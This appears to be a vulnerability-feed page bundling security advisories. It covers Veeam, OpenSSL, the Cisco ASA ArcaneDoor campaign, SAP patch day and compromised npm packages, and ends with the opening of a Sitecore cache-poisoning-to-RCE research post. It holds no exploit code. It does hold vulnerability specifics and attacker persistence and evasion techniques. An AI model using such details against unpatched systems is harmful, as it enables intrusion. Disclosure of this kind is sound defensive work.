Recent bundles
Vulnerabilities Resolved in Veeam Backup & Replication 12.3.2.4165 Patch
2025-10-15T14:05:45 by Alexandre DulaunoyKB4771: Vulnerabilities Resolved in Veeam Backup & Replication 12.3.2.4165 Patch
Veeam Software Security Commitment
Veeam® is committed to ensuring its products protect customers from potential risks. As part of that commitment, we operate a Vulnerability Disclosure Program (VDP) for all Veeam products and perform extensive internal code audits. When a vulnerability is identified, our team promptly develops a patch to address and mitigate the risk. In line with our dedication to transparency, we publicly disclose the vulnerability and provide detailed mitigation information. This approach ensures that all potentially affected customers can quickly implement the necessary measures to safeguard their systems. It’s important to note that once a vulnerability and its associated patch are disclosed, attackers will likely attempt to reverse-engineer the patch to exploit unpatched deployments of Veeam software. This reality underscores the critical importance of ensuring that all customers use the latest versions of our software and install all updates and patches without delay.
Issue Details
CVE-2025-48983
A vulnerability in the Mount service of Veeam Backup & Replication, which allows for remote code execution (RCE) on the Backup infrastructure hosts by an authenticated domain user.
Severity: Critical
CVSS v3.1 Score: 9.9CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Source: Reported by CODE WHITE.
Note: The Veeam Software Appliance and upcoming Veeam Backup & Replication v13 software for Microsoft Windows are architecturally not impacted by these types of vulnerabilities.
CVE-2025-48984
A vulnerability allowing remote code execution (RCE) on the Backup Server by an authenticated domain user.
Severity: Critical
CVSS v3.1 Score: 9.9\>CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Source: Reported by Sina Kheirkhah (@SinSinology) and Piotr Bazydlo (@chudyPB) of watchTowr.
Note: The Veeam Software Appliance and upcoming Veeam Backup & Replication v13 software for Microsoft Windows are architecturally not impacted by these types of vulnerabilities.
CVE-2025-48982
This vulnerability in Veeam Agent for Microsoft Windows allows for Local Privilege Escalation if a system administrator is tricked into restoring a malicious file.
Severity: High
CVSS v3.1 Score: 7.3CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Source: Reported by an anonymous contributor working with the Trend Zero Day Initiative.
Affected Product
Veeam Agent for Microsoft Windows 6.3.2.1205 and all earlier version 6 builds.
Note: Unsupported product versions are not tested, but are likely affected and should be considered vulnerable.
Solution
This vulnerability was fixed starting in the following build:
- Veeam Agent for Microsoft Windows 6.3.2.1302
Veeam Agent for Microsoft Windows is included with Veeam Backup & Replication and available as a standalone application.
To submit feedback regarding this article, please click this link: Send Article Feedback
To report a typo on this page, highlight the typo with your mouse and press CTRL + Enter.
Related vulnerabilities: CVE-2025-48984CVE-2025-48983CVE-2025-48982
OpenSSL Security Advisory [30th September 2025]
Out-of-bounds read & write in RFC 3211 KEK Unwrap (CVE-2025-9230)
Severity: Moderate
Issue summary: An application trying to decrypt CMS messages encrypted using password based encryption can trigger an out-of-bounds read and write.
Impact summary: This out-of-bounds read may trigger a crash which leads to Denial of Service for an application. The out-of-bounds write can cause a memory corruption which can have various consequences including a Denial of Service or Execution of attacker-supplied code.
Although the consequences of a successful exploit of this vulnerability could be severe, the probability that the attacker would be able to perform it is low. Besides, password based (PWRI) encryption support in CMS messages is very rarely used. For that reason the issue was assessed as Moderate severity according to our Security Policy.
The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the CMS implementation is outside the OpenSSL FIPS module boundary.
OpenSSL 3.5, 3.4, 3.3, 3.2, 3.0, 1.1.1 and 1.0.2 are vulnerable to this issue.
OpenSSL 3.5 users should upgrade to OpenSSL 3.5.4.
OpenSSL 3.4 users should upgrade to OpenSSL 3.4.3.
OpenSSL 3.3 users should upgrade to OpenSSL 3.3.5.
OpenSSL 3.2 users should upgrade to OpenSSL 3.2.6.
OpenSSL 3.0 users should upgrade to OpenSSL 3.0.18.
OpenSSL 1.1.1 users should upgrade to OpenSSL 1.1.1zd. (premium support customers only)
OpenSSL 1.0.2 users should upgrade to OpenSSL 1.0.2zm. (premium support customers only)
This issue was reported on 9th August 2025 by Stanislav Fort (Aisle Research). The fix was developed by Stanislav Fort (Aisle Research) and Viktor Dukhovni.
Timing side-channel in SM2 algorithm on 64 bit ARM (CVE-2025-9231)
Severity: Moderate
Issue summary: A timing side-channel which could potentially allow remote recovery of the private key exists in the SM2 algorithm implementation on 64 bit ARM platforms.
Impact summary: A timing side-channel in SM2 signature computations on 64 bit ARM platforms could allow recovering the private key by an attacker.
While remote key recovery over a network was not attempted by the reporter, timing measurements revealed a timing signal which may allow such an attack.
OpenSSL does not directly support certificates with SM2 keys in TLS, and so this CVE is not relevant in most TLS contexts. However, given that it is possible to add support for such certificates via a custom provider, coupled with the fact that in such a custom provider context the private key may be recoverable via remote timing measurements, we consider this to be a Moderate severity issue.
The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as SM2 is not an approved algorithm.
OpenSSL 3.1, 3.0, 1.1.1 and 1.0.2 are not vulnerable to this issue.
OpenSSL 3.5, 3.4, 3.3, and 3.2 are vulnerable to this issue.
OpenSSL 3.5 users should upgrade to OpenSSL 3.5.4.
OpenSSL 3.4 users should upgrade to OpenSSL 3.4.3.
OpenSSL 3.3 users should upgrade to OpenSSL 3.3.5.
OpenSSL 3.2 users should upgrade to OpenSSL 3.2.6.
This issue was reported on 18th August 2025 by Stanislav Fort (Aisle Research) The fix was developed by Stanislav Fort.
Out-of-bounds read in HTTP client no_proxy handling (CVE-2025-9232)
Severity: Low
Issue summary: An application using the OpenSSL HTTP client API functions may trigger an out-of-bounds read if the "no_proxy" environment variable is set and the host portion of the authority component of the HTTP URL is an IPv6 address.
Impact summary: An out-of-bounds read can trigger a crash which leads to Denial of Service for an application.
The OpenSSL HTTP client API functions can be used directly by applications but they are also used by the OCSP client functions and CMP (Certificate Management Protocol) client implementation in OpenSSL. However the URLs used by these implementations are unlikely to be controlled by an attacker.
In this vulnerable code the out of bounds read can only trigger a crash. Furthermore the vulnerability requires an attacker-controlled URL to be passed from an application to the OpenSSL function and the user has to have a "no_proxy" environment variable set. For the aforementioned reasons the issue was assessed as Low severity.
The vulnerable code was introduced in the following patch releases: 3.0.16, 3.1.8, 3.2.4, 3.3.3, 3.4.0 and 3.5.0.
The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the HTTP client implementation is outside the OpenSSL FIPS module boundary.
OpenSSL 3.5, 3.4, 3.3, 3.2 and 3.0 are vulnerable to this issue.
OpenSSL 1.1.1 and 1.0.2 are not affected by this issue.
OpenSSL 3.5 users should upgrade to OpenSSL 3.5.4.
OpenSSL 3.4 users should upgrade to OpenSSL 3.4.3.
OpenSSL 3.3 users should upgrade to OpenSSL 3.3.5.
OpenSSL 3.2 users should upgrade to OpenSSL 3.2.6.
OpenSSL 3.0 users should upgrade to OpenSSL 3.0.18.
This issue was reported on 16th August 2025 by Stanislav Fort (Aisle Research). The fix was developed by Stanislav Fort (Aisle Research).
General Advisory Notes
URL for this Security Advisory: https://openssl-library.org/news/secadv/20250930.txt
Note: the online version of the advisory may be updated with additional details over time.
For details of OpenSSL severity classifications please see: https://openssl-library.org/policies/general/security-policy/
Related vulnerabilities: CVE-2025-9231CVE-2025-9232CVE-2025-9230
Cisco Event Response: Continued Attacks Against Cisco Firewalls
Version 1: September 25, 2025
Summary
In May 2025, Cisco was engaged by multiple government agencies that provide incident response services to government organizations to support the investigation of attacks that were targeting certain Cisco Adaptive Security Appliance (ASA) 5500-X Series devices that were running Cisco Secure Firewall ASA Software with VPN web services enabled to implant malware, execute commands, and potentially exfiltrate data from the compromised devices.
Cisco dedicated a specialized, full-time team to this investigation, working closely with a limited set of affected customers. Our response involved providing instrumented images with enhanced detection capabilities, assisting customers with the analysis of packet captures from compromised environments, and conducting in-depth analysis of firmware extracted from infected devices. These collaborative and technical efforts enabled our teams to ultimately identify the underlying memory corruption bug in the product software.
Attackers were observed to have exploited multiple zero-day vulnerabilities and employed advanced evasion techniques such as disabling logging, intercepting CLI commands, and intentionally crashing devices to prevent diagnostic analysis. The complexity and sophistication of this incident required an extensive, multi-disciplinary response across Cisco�s engineering and security teams.
Cisco assesses with high confidence that this new activity is related to the same threat actor as the ArcaneDoor attack campaign that Cisco reported in early 2024.
While the vulnerable software is supported across other hardware platforms with different underlying architectures as well as in devices that are running Cisco Secure Firewall Threat Defense (FTD) Software, Cisco has no evidence that these platforms have been successfully compromised.
Cisco strongly recommends that customers follow the guidance provided to determine exposure and courses of action.
Persistence Capability
During our forensic analysis of confirmed compromised devices, in some cases, Cisco has observed the threat actor modifying ROMMON to allow for persistence across reboots and software upgrades.
These modifications have been observed only on Cisco ASA 5500-X Series platforms that were released prior to the development of Secure Boot and Trust Anchor technologies; no CVE will be assigned to the lack of Secure Boot and Trust Anchor technology support on these platforms. Cisco has not observed successful compromise, malware implantation, or the existence of a persistence mechanism on platforms that support Secure Boot and Trust Anchors.
Affected Cisco ASA 5500-X Series Models
The following Cisco ASA 5500-X Series models that are running Cisco ASA Software releases 9.12 or 9.14 with VPN web services enabled, which do not support Secure Boot and Trust Anchor technologies, have been observed to be successfully compromised in this campaign:
- 5512-X and 5515-X – Last Date of Support: August 31, 2022
- 5525-X, 5545-X, and 5555-X – Last Date of Support: September 30, 2025
- 5585-X – Last Date of Support: May 31, 2023
The following Cisco ASA 5500-X Series models, as well as all Cisco Firepower and Cisco Secure Firewall models, support Secure Boot and Trust Anchors:
- 5505-X, 5506H-X, 5506W-X, 5508-X, and 5516-X – Last Date of Support: August 31, 2026
No successful exploitation of these vulnerabilities and no modifications of ROMMON have been observed on these models. They are included here due to the impending end of support.
Recommended Actions
Step 1: Determine Device Model and Software Release
Refer to the tables provided below in the Fixed Releases section of this page to determine if the software that is running on your device is affected by these vulnerabilities.
If you are running vulnerable software, proceed to Step 2.
Step 2: Assess the Device Configuration
Use the guidance provided in the security advisories listed in the Details section of this page to determine whether VPN web services are enabled on your device.
If VPN web services are enabled on your device, proceed to Step 3.
Step 3: Remediate the Vulnerabilities
Option 1: Upgrade (recommended, long-term solution)
Cisco strongly recommends that customers upgrade to a fixed release to resolve the vulnerabilities and prevent subsequent exploitation.
If the device is vulnerable but cannot be upgraded due to end of life or support status, Cisco strongly recommends that the device be migrated to supported hardware and software.
Option 2: Mitigate (temporary solution only)
The risk can also be mitigated by disabling all SSL/TLS-based VPN web services. This includes disabling IKEv2 client services that facilitate the update of client endpoint software and profiles as well as disabling all SSL VPN services.
> Disable IKEv2 Client Services > > Disable IKEv2 client services by repeating the crypto ikev2 enable <interface_name\> command in global configuration mode for every interface on which IKEv2 client services are enabled, as shown in the following example: > > ``` firewall# show running-config crypto ikev2 | include client-services crypto ikev2 enable outside client-services port 443 firewall# conf t firewall(config)# crypto ikev2 enable outside INFO: Client services disabled firewall(config)#
>
> **Note:** Disabling IKEv2 client-services will prevent VPN clients from receiving VPN client software and profile updates from the device, but IKEv2 IPsec VPN functionality will be retained otherwise.
>
> **Disable all SSL VPN Services**
>
> To disable all SSL VPN services, run the no **webvpn** command in global configuration mode, as shown in the following example:
>
> ```
firewall# conf t
firewall(config)# no webvpn
WARNING: Disabling webvpn removes proxy-bypass settings.
Do not overwrite the configuration file if you want to keep existing proxy-bypass commands.
firewall(config)#
> > Note: All remote access SSL VPN features will cease to function after running this command.
Step 4: Recover Potentially Compromised Devices
For Cisco ASA 5500-X Series devices that do not support Secure Boot (5512-X, 5515-X, 5525-X, 5545-X, 5555-X, 5585-X), booting a fixed release will automatically check ROMMON and remove the persistence mechanism that was observed in this attack campaign if it is detected. When the persistence mechanism is detected and removed, a file called firmware_update.log is written to disk0: (or appended to if the file exists) and the device is rebooted to load a clean system immediately afterwards.
In cases of suspected or confirmed compromise on any Cisco firewall device, all configuration elements of the device should be considered untrusted. Cisco recommends that all configurations � especially local passwords, certificates, and keys � be replaced after the upgrade to a fixed release. This is best achieved by resetting the device to factory defaults after the upgrade to a fixed release using the configure factory-default command in global configuration mode and then reconfiguring the device with new passwords, certificates, and keys from scratch. If the configure factory-default command should not be supported, use the commands write erase and then reload instead.
If the file firmware_update.log is found on disk0: after upgrade to a fixed release, customers should open a case with the Cisco Technical Assistance Center (TAC) with the output of the show tech-support command and the content of the firmware_update.log file.
Current Status
The software updates that are identified in the advisories in the following table address bugs that, when chained together, could allow an unauthenticated, remote attacker to gain full control of an affected device. The evidence collected strongly indicates that CVE-2025-20333 and CVE-2025-20362 were used by the attacker in the current attack campaign.
The persistence capability observed does not affect devices that support Secure Boot technology. Cisco assesses with high confidence that upgrading to a fixed software release will break the threat actor's attack chain and strongly recommends that all customers upgrade to fixed software releases.
Details
On September 25, 2025, Cisco released the following Security Advisories that address weaknesses that were leveraged in these attacks:
- Cisco Security Advisory: Cisco Secure Firewall Adaptive Security Appliance Software and Secure Firewall Threat Defense Software VPN Web Server Remote Code Execution Vulnerability
- CVE ID: CVE-2025-20333
- Security Impact Rating: Critical
- CVSS Base Score: 9.9
- Cisco Security Advisory: Cisco Secure Firewall Adaptive Security Appliance, Secure Firewall Threat Defense Software, IOS Software, IOS XE Software and IOS XR Software HTTP Server Remote Code Execution Vulnerability
- CVE ID: CVE-2025-20363
- Security Impact Rating: Critical
- CVSS Base Score: 9
- Cisco Security Advisory: Cisco Secure Firewall Adaptive Security Appliance Software and Secure Firewall Threat Defense Software VPN Web Server Unauthorized Access Vulnerability
- CVE ID: CVE-2025-20362
- Security Impact Rating: Medium
- CVSS Base Score: 6.5
Fixed Releases
In the following tables, the left column lists Cisco software releases. The middle columns indicate the first fixed release for each vulnerability. The right column indicates the first fixed release for all vulnerabilities in the advisories that are listed on this page. Customers are advised to upgrade to an appropriate fixed software release as indicated in this section.
- Cisco ASA Software Release: 9.16
- First Fixed Release for CVE-2025-20333 Critical: 9.16.4.85
- First Fixed Release for CVE-2025-20363 Critical: 9.16.4.84
- First Fixed Release for CVE-2025-20362 Medium: 9.16.4.85
- First Fixed Release for all of These Vulnerabilities: 9.16.4.85
- Cisco ASA Software Release: 9.17
- First Fixed Release for CVE-2025-20333 Critical: 9.17.1.45
- First Fixed Release for CVE-2025-20363 Critical: Migrate to a fixed release.
- First Fixed Release for CVE-2025-20362 Medium: Migrate to a fixed release.
- First Fixed Release for all of These Vulnerabilities: Migrate to a fixed release.
- Cisco ASA Software Release: 9.18
- First Fixed Release for CVE-2025-20333 Critical: 9.18.4.47
- First Fixed Release for CVE-2025-20363 Critical: 9.18.4.57
- First Fixed Release for CVE-2025-20362 Medium: 9.18.4.67
- First Fixed Release for all of These Vulnerabilities: 9.18.4.67
- Cisco ASA Software Release: 9.19
- First Fixed Release for CVE-2025-20333 Critical: 9.19.1.37
- First Fixed Release for CVE-2025-20363 Critical: 9.19.1.42
- First Fixed Release for CVE-2025-20362 Medium: Migrate to a fixed release.
- First Fixed Release for all of These Vulnerabilities: Migrate to a fixed release.
- Cisco ASA Software Release: 9.20
- First Fixed Release for CVE-2025-20333 Critical: 9.20.3.7
- First Fixed Release for CVE-2025-20363 Critical: 9.20.3.16
- First Fixed Release for CVE-2025-20362 Medium: 9.20.4.10
- First Fixed Release for all of These Vulnerabilities: 9.20.4.10
- Cisco ASA Software Release: 9.22
- First Fixed Release for CVE-2025-20333 Critical: 9.22.1.3
- First Fixed Release for CVE-2025-20363 Critical: 9.22.2
- First Fixed Release for CVE-2025-20362 Medium: 9.22.2.14
- First Fixed Release for all of These Vulnerabilities: 9.22.2.14
- Cisco ASA Software Release: 9.23
- First Fixed Release for CVE-2025-20333 Critical: Not vulnerable.
- First Fixed Release for CVE-2025-20363 Critical: 9.23.1.3
- First Fixed Release for CVE-2025-20362 Medium: 9.23.1.19
- First Fixed Release for all of These Vulnerabilities: 9.23.1.19
Notes:
- The fixed release for Cisco Secure ASA Software Release 9.12 is 9.12.4.72. It is available from the Cisco Software Download Center.
-
The fixed release for Cisco Secure ASA Software Release 9.14 is 9.14.4.28. It is available from the Cisco Software Download Center.
-
Cisco FTD Software Release: 7.0
- First Fixed Release for CVE-2025-20333 Critical: 7.0.8.1
- First Fixed Release for CVE-2025-20363 Critical: 7.0.8
- First Fixed Release for CVE-2025-20362 Medium: 7.0.8.1
- First Fixed Release for all of These Vulnerabilities: 7.0.8.1
- Cisco FTD Software Release: 7.1
- First Fixed Release for CVE-2025-20333 Critical: Migrate to a fixed release.
- First Fixed Release for CVE-2025-20363 Critical: Migrate to a fixed release.
- First Fixed Release for CVE-2025-20362 Medium: Migrate to a fixed release.
- First Fixed Release for all of These Vulnerabilities: Migrate to a fixed release.
- Cisco FTD Software Release: 7.2
- First Fixed Release for CVE-2025-20333 Critical: 7.2.9
- First Fixed Release for CVE-2025-20363 Critical: 7.2.10
- First Fixed Release for CVE-2025-20362 Medium: 7.2.10.2
- First Fixed Release for all of These Vulnerabilities: 7.2.10.2
- Cisco FTD Software Release: 7.3
- First Fixed Release for CVE-2025-20333 Critical: Migrate to a fixed release.
- First Fixed Release for CVE-2025-20363 Critical: Migrate to a fixed release.
- First Fixed Release for CVE-2025-20362 Medium: Migrate to a fixed release.
- First Fixed Release for all of These Vulnerabilities: Migrate to a fixed release.
- Cisco FTD Software Release: 7.4
- First Fixed Release for CVE-2025-20333 Critical: 7.4.2.4
- First Fixed Release for CVE-2025-20363 Critical: 7.4.2.3
- First Fixed Release for CVE-2025-20362 Medium: 7.4.2.4
- First Fixed Release for all of These Vulnerabilities: 7.4.2.4
- Cisco FTD Software Release: 7.6
- First Fixed Release for CVE-2025-20333 Critical: 7.6.1
- First Fixed Release for CVE-2025-20363 Critical: 7.6.1
- First Fixed Release for CVE-2025-20362 Medium: 7.6.2.1
- First Fixed Release for all of These Vulnerabilities: 7.6.2.1
- Cisco FTD Software Release: 7.7
- First Fixed Release for CVE-2025-20333 Critical: Not vulnerable.
- First Fixed Release for CVE-2025-20363 Critical: 7.7.10
- First Fixed Release for CVE-2025-20362 Medium: 7.7.10.1
- First Fixed Release for all of These Vulnerabilities: 7.7.10.1
Additional Information
For more information about detecting this attack, see Detection Guide for Continued Attacks against Cisco Firewalls by the Threat Actor behind ArcaneDoor. For further analysis if potentially malicious activity is identified, open a Cisco TAC case.
All customers are advised to upgrade to a fixed software release.
This document is part of the Cisco Security portal. Cisco provides the official information contained on the Cisco Security portal in English only.
This document is provided on an “as is” basis and does not imply any kind of guarantee or warranty, including the warranties of merchantability or fitness for a particular use. Your use of the information in the document or materials linked from the document is at your own risk. Cisco reserves the right to change or update this document without notice at any time.
- CVE-2025-20333
- CVE-2025-20363
- CVE-2025-20362
CISA - ED 25-03: Identify and Mitigate Potential Compromise of Cisco Devices Cisco Event Response: Continued Attacks Against Cisco Firewalls
Related vulnerabilities: CVE-2025-20363CVE-2025-20362CVE-2025-20333
SAP Security Patch Day - September 2025
[CVE-2025-42944] Insecure Deserialization vulnerability in SAP Netweaver (RMI-P4)
Product - SAP Netweaver (RMI-P4)
Version - SERVERCORE 7.50
Critical
[CVE-2025-42922] Insecure File Operations vulnerability in SAP NetWeaver AS Java (Deploy Web Service)
Product - SAP NetWeaver AS Java (Deploy Web Service)
Version - J2EE-APPS 7.50
Critical
Update to Security Note released on March 2023 Patch Day:
[CVE-2023-27500] Directory Traversal vulnerability in SAP NetWeaver AS for ABAP and ABAP Platform
Product – SAP NetWeaver AS for ABAP and ABAP Platform
Version – 700, 701, 702, 731, 740, 750, 751, 752, 753, 754, 755, 756, 757
Critical
[CVE-2025-42958] Missing Authentication check in SAP NetWeaver
Product - SAP NetWeaver
Version - KRNL64NUC 7.22, 7.22EXT, KRNL64UC 7.22, 7.22EXT, 7.53, KERNEL 7.22, 7.53, 7.54
Critical
[CVE-2025-42933] Insecure Storage of Sensitive Information in SAP Business One (SLD)
Product - SAP Business One (SLD)
Version - B1_ON_HANA 10.0, SAP-M-BO 10.0
High
[CVE-2025-42929] Missing input validation vulnerability in SAP Landscape Transformation Replication Server
Product - SAP Landscape Transformation Replication Server
Version - DMIS 2011_1_620, 2011_1_640, 2011_1_700, 2011_1_710, 2011_1_730, 2011_1_731, 2011_1_752, 2020
High
[CVE-2025-42916] Missing input validation vulnerability in SAP S/4HANA (Private Cloud or On-Premise)
Product - SAP S/4HANA (Private Cloud or On-Premise)
Version - S4CORE 102, 103, 104, 105, 106, 107, 108
High
Update to Security Note released on April 2025 Patch Day:
[CVE-2025-27428] Directory Traversal vulnerability in SAP NetWeaver and ABAP Platform (Service Data Collection)
Product - SAP NetWeaver and ABAP Platform (Service Data Collection)
Version - ST-PI 2008_1_700, 2008_1_710, 740
High
[CVE-2025-22228] Security Misconfiguration vulnerability in Spring security within SAP Commerce Cloud and SAP Datahub
Product - SAP Commerce Cloud and SAP Datahub
Version - HY_COM 2205, HY_DHUB 2205, COM_CLOUD 2211, DHUB_CLOUD 2211
Medium
[CVE-2025-42930] Denial of Service (DoS) vulnerability in SAP Business Planning and Consolidation
Product - SAP Business Planning and Consolidation
Version - BPC4HANA 200, 300, SAP_BW 750, 751, 752, 753, 754, 755, 756, 757, 758, 816, 914, CPMBPC 810
Medium
[CVE-2025-42912] Missing Authorization check in SAP HCM (My Timesheet Fiori 2.0 application)
Additional CVEs - CVE-2025-42913, CVE-2025-42914
Product - SAP HCM (My Timesheet Fiori 2.0 application)
Version - GBX01HR5 605
Medium
[CVE-2025-42917] Missing Authorization check in SAP HCM (Approve Timesheets Fiori 2.0 application)
Product - SAP HCM (Approve Timesheets Fiori 2.0 application)
Version - GBX01HR5 605
Medium
[CVE-2023-5072] Denial of Service (DoS) vulnerability due to outdated JSON library used in SAP BusinessObjects Business Intelligence Platform
Product - SAP BusinessObjects Business Intelligence Platform
Version - ENTERPRISE 430, 2025, 2027
Medium
[CVE-2025-42920] Cross-Site Scripting (XSS) vulnerability in SAP Supplier Relationship Management
Product - SAP Supplier Relationship Management
Version – SRM_SERVER 700, 701, 702, 713, 714
Medium
[CVE-2025-42938] Cross-Site Scripting (XSS) vulnerability in SAP NetWeaver ABAP Platform
Product - SAP NetWeaver ABAP Platform
Version - S4CRM 100, 200, 204, 205, 206, S4CEXT 109, BBPCRM 713, 714
Medium
[CVE-2025-42915] Missing Authorization Check in Fiori app (Manage Payment Blocks)
Product - Fiori app (Manage Payment Blocks)
Version - S4CORE 107, 108
Medium
[CVE-2025-42926] Missing Authentication check in SAP NetWeaver Application Server Java
Product - SAP NetWeaver Application Server Java
Version - WD-RUNTIME 7.50
Medium
[CVE-2025-42911] Missing Authorization check in SAP NetWeaver (Service Data Download)
Product - SAP NetWeaver (Service Data Download)
Version - SAP_BASIS 700, SAP_BASIS 701, SAP_BASIS 702, SAP_BASIS 731, SAP_BASIS 740, SAP_BASIS 750, SAP_BASIS 751, SAP_BASIS 752, SAP_BASIS 753, SAP_BASIS 754, SAP_BASIS 755, SAP_BASIS 756, SAP_BASIS 757, SAP_BASIS 758, SAP_BASIS 816
Medium
Update to Security Note released on July 2025 Patch Day:
[CVE-2025-42961] Missing Authorization check in SAP NetWeaver Application Server for ABAP
Product - SAP NetWeaver Application Server for ABAP
Version – SAP_BASIS 700, SAP_BASIS 701, SAP_BASIS 702, SAP_BASIS 731, SAP_BASIS 740, SAP_BASIS 750, SAP_BASIS 751, SAP_BASIS 752, SAP_BASIS 753, SAP_BASIS 754, SAP_BASIS 755, SAP_BASIS 756, SAP_BASIS 757, SAP_BASIS 758, SAP_BASIS 816
Medium
[CVE-2025-42925] Predictable Object Identifier vulnerability in SAP NetWeaver AS Java (IIOP Service)
Product - SAP NetWeaver AS Java (IIOP Service)
Version – SERVERCORE 7.50
Medium
[CVE-2025-42923] Cross-Site Request Forgery (CSRF) vulnerability in SAP Fiori App (F4044 Manage Work Center Groups)
Product - SAP Fiori App (F4044 Manage Work Center Groups)
Version - UIS4HOP1 600, 700, 800, 900
Medium
[CVE-2025-42918] Missing Authorization check in SAP NetWeaver Application Server for ABAP (Background Processing)
Product - SAP NetWeaver Application Server for ABAP (Background Processing)
Version - SAP_BASIS 700, SAP_BASIS 701, SAP_BASIS 702, SAP_BASIS 731, SAP_BASIS 740, SAP_BASIS 750, SAP_BASIS 751, SAP_BASIS 752, SAP_BASIS 753, SAP_BASIS 754, SAP_BASIS 755, SAP_BASIS 756, SAP_BASIS 757, SAP_BASIS 758, SAP_BASIS 816
Medium
Update to Security Note released on April 2025 Patch Day:
[CVE-2025-31331] Authorization Bypass vulnerability in SAP NetWeaver
Product - SAP NetWeaver
Version - SAP_ABA 700, 701, 702, 731, 740, 750, 751, 752, 75C, 75D, 75E, 75F, 75G, 75H, 75I
Medium
Update to Security Note released on August 2025 Patch Day:
[CVE-2025-42941] Reverse Tabnabbing vulnerability in SAP Fiori (Launchpad)
Product - SAP Fiori (Launchpad)
Version - SAP_UI 754
Low
[CVE-2025-42927] Information Disclosure due to Outdated OpenSSL Version in SAP NetWeaver AS Java (Adobe Document Service)
Product - SAP NetWeaver AS Java (Adobe Document Service)
Version - ADSSAP 7.50
Low
[CVE-2024-13009] Potential Improper Resource Release vulnerability in SAP Commerce Cloud
Product - SAP Commerce Cloud
Version - HY_COM 2205, COM_CLOUD 2211
Low
Related vulnerabilities: CVE-2025-42961CVE-2025-42917CVE-2025-42923CVE-2025-42915CVE-2025-42918CVE-2025-42958CVE-2025-42916CVE-2025-22228CVE-2025-42930CVE-2025-42938CVE-2025-42927CVE-2025-27428CVE-2023-27500CVE-2025-42926CVE-2024-13009CVE-2025-42913CVE-2025-42933CVE-2025-42922CVE-2025-42944CVE-2025-42929CVE-2025-42911CVE-2025-42912CVE-2025-42941CVE-2025-42914CVE-2025-31331CVE-2025-42925CVE-2025-42920CVE-2023-5072
npm.js - account qix and duckdb_admin compromised and associated CVEs allocated
2025-09-10T13:18:37 by Cédric BonhommeCVE Assigned for the account compromised
Account compromised: https://www.npmjs.com/~qix) and duckdb_admin - source code of the malware
- DuckDB packages - https://github.com/duckdb/duckdb-node/security/advisories/GHSA-w62p-hx95-gf2c - CVE-2025-59037
- Prebid - prebid-universal-creative - https://vulnerability.circl.lu/vuln/CVE-2025-59039 - CVE-2025-59039
- Prebid.js - https://vulnerability.circl.lu/vuln/cve-2025-59038 - CVE-2025-59038
Package known to be compromised
| Package | Version |
|---|---|
| backslash | 0.2.1 |
| chalk-template | 1.1.1 |
| supports-hyperlinks | 4.1.1 |
| has-ansi | 6.0.1 |
| simple-swizzle | 0.2.3 |
| color-string | 2.1.1 |
| error-ex | 1.3.3 |
| color-name | 2.0.1 |
| is-arrayish | 0.3.3 |
| slice-ansi | 7.1.1 |
| color-convert | 3.1.1 |
| wrap-ansi | 9.0.1 |
| ansi-regex | 6.2.1 |
| supports-color | 10.2.1 |
| strip-ansi | 7.1.1 |
| chalk | 5.6.1 |
| debug | 4.4.2 |
| ansi-styles | 6.2.2 |
Related vulnerabilities: CVE-2025-59038CVE-2025-59039CVE-2025-59037GHSA-W62P-HX95-GF2C
Cache Me If You Can (Sitecore Experience Platform Cache Poisoning to RCE)
2025-08-29T14:35:14 by Alexandre DulaunoyCache Me If You Can (Sitecore Experience Platform Cache Poisoning to RCE)
What is the main purpose of a Content Management System (CMS)?
We have to accept that when we ask such existential and philosophical questions, we’re also admitting that we have no idea and that there probably isn’t an easy answer (this is our excuse, and we’re sticking with it).
However, we’d bet that you, the reader, probably would say something like “to create and deploy websites”. One might even believe each CMS comes with Bambi’s phone number.
Delusion aside, the general consensus seems to be that the ultimate goal of a CMS is to make it easy for end users to create a shiny website on the Internet and do many, many things.
But wait - isn’t the CMS market incredibly crowded? What can a CMS vendor do to stand out?
It’s obvious when you ask yourself, “Why should the enjoyment of editing a website be limited to the intended authorized user?”.
Welcome back to another watchTowr Labs blogpost - Yes, we’re finally following up with part 2 of our Sitecore Experience Platform research.
Today, we’ll discuss our research as we continue from part 1, which ultimately led to our discovery of numerous further vulnerabilities in the Sitecore Experience Platform, enabling complete compromise.
For the unjaded;
Sitecore’s Experience Platform is a vastly popular Content Management System (CMS), exposed to the Internet and heavily utilized across organizations known as ‘the enterprise’. You may recall from our previous Sitecore research - a cursory look at their client list showed tier-1 enterprises, and a cursory sweep of the Internet identified at least 22,000 Sitecore instances.
And yet somehow, we resisted the urge to plaster the Internet with our logo.
You are welcome.
So, What’s Occurring In Part 2?
As always, it wouldn’t be much fun if we didn’t take things way too far.
In part 2 of our Sitecore research, we’ll continue to demonstrate a lack of restraint or awareness of danger, demonstrating how we chained our ability to combine a pre-auth HTML cache poisoning vulnerability with a post-auth Remote Code Execution vulnerability to completely compromise a fully-patched (at the time) Sitecore Experience Platform instance.
Previously, in part 1, you may recall that we covered three vulnerabilities:
- WT-2025-0024 (CVE-2025-34509): Hardcoded Credentials
- WT-2025-0032 (CVE-2025-34510): Post-Auth RCE (Via Path Traversal)
- WT-2025-0025 (CVE-2025-34511) (Bonus): Post-Auth RCE (Via Sitecore PowerShell Extension)
Today, in part 2, we will be focusing on new vulnerabilities:
- WT-2025-0023 (CVE-2025-53693) - HTML Cache Poisoning through Unsafe Reflections
- WT-2025-0019 (CVE-2025-53691) - Remote Code Execution through Insecure Deserialization
- WT-2025-0027 (CVE-2025-53694) - Information Disclosure in ItemServices API
These vulnerabilities were identified in Sitecore Experience Platform 10.4.1 rev. 011628 for the purposes of today's analysis.
Patches were released in June and July 2025 (you can find patch details here and here).
0:00
/0:35
WT-2025-0023 (CVE-2025-53693): HTML Cache Poisoning Through Unsafe Reflection
Authors note: attention, this is going to be a very technically heavy section. If you want to skim through, make your way to the cat meme.
If you’ve ever read a Sitecore vulnerability write-up, you’ll know it exposes several different HTTP handlers.
One of them is the infamous Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, which has been abused more than once in the past.
This handler is registered in the web.config file:
